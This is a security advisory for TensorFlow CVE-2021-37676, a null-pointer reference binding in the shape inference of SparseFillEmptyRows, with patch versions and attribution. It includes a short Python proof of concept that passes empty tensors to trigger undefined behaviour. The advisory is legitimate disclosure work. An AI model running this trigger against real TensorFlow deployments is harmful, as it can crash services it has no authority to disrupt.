HIGH 7.8 PyPI

Reference binding to nullptr in shape inference

GHSA-v768-w7m9-2vmm · BIT-tensorflow-2021-37676 · CVE-2021-37676 · PYSEC-2021-298 · PYSEC-2021-589 · PYSEC-2021-787

Published · Modified

Description

Impact

An attacker can cause undefined behavior via binding a reference to null pointer in tf.raw_ops.SparseFillEmptyRows:

import tensorflow as tf
  
tf.compat.v1.disable_v2_behavior()
tf.raw_ops.SparseFillEmptyRows(
  indices = tf.constant([], shape=[0, 0], dtype=tf.int64),
  values = tf.constant([], shape=[0], dtype=tf.int64),
  dense_shape = tf.constant([], shape=[0], dtype=tf.int64),
  default_value = 0)

The shape inference implementation does not validate that the input arguments are not empty tensors.

Patches

We have patched the issue in GitHub commit 578e634b4f1c1c684d4b4294f9e5281b2133b3ed.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang of Baidu Security

Ready to move

Start Securing

Free, no credit card | First findings in minutes